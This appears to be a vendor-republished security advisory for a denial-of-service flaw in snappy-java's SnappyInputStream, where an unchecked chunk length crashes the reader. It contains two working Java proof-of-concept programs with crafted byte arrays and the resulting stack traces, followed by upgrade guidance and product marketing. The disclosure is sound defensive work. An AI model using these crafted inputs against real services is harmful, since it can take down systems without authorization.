GHSA-qcwq-55hx-v3vh
HIGHsnappy-java's unchecked chunk length leads to DoS
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.xerial.snappy:snappy-javaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.
Impact
Denial of Service
Description
The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
int readBytes = readNext(header, 0, 4);
if (readBytes < 4) {
return false;
}
int chunkSize = SnappyOutputStream.readInt(header, 0);
if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
.........
}
// extend the compressed data buffer size
if (compressed == null || chunkSize > compressed.length) {
compressed = new byte[chunkSize];
}
In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.
Steps To Reproduce
Compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:
Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
at java.base/java.io.InputStream.read(InputStream.java:217)
at org.example.Main.main(Main.java:12)
Alternatively - compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
in.read(out);
}
}
The program will crash with the following error (or similar):
Exception in thread "main" java.lang.NegativeArraySizeException: -1
at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
at java.base/java.io.InputStream.read(InputStream.java:217)
at org.example.Main.main(Main.java:12)
It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.xerial.snappy:snappy-java | all versions | 1.1.10.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xerial.snappy:snappy-java. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.xerial.snappy:snappy-java to 1.1.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qcwq-55hx-v3vh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qcwq-55hx-v3vh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qcwq-55hx-v3vh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qcwq-55hx-v3vh in your dependencies?
O3 detects GHSA-qcwq-55hx-v3vh across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.